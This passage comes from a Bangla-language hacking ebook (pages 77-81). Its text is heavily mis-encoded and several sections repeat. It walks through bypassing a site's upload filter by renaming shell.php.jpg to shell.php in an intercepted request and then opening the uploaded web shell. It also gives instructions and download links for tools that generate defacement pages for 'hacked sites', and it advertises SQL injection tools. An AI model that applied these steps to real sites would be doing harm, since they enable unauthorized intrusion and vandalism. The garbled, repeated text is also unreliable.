২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 77: Hacking Bangla eBook

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 78: Hacking Bangla eBook

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 79: Hacking Bangla eBook

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 80: Hacking Bangla eBook

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 81: Hacking Bangla eBook

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

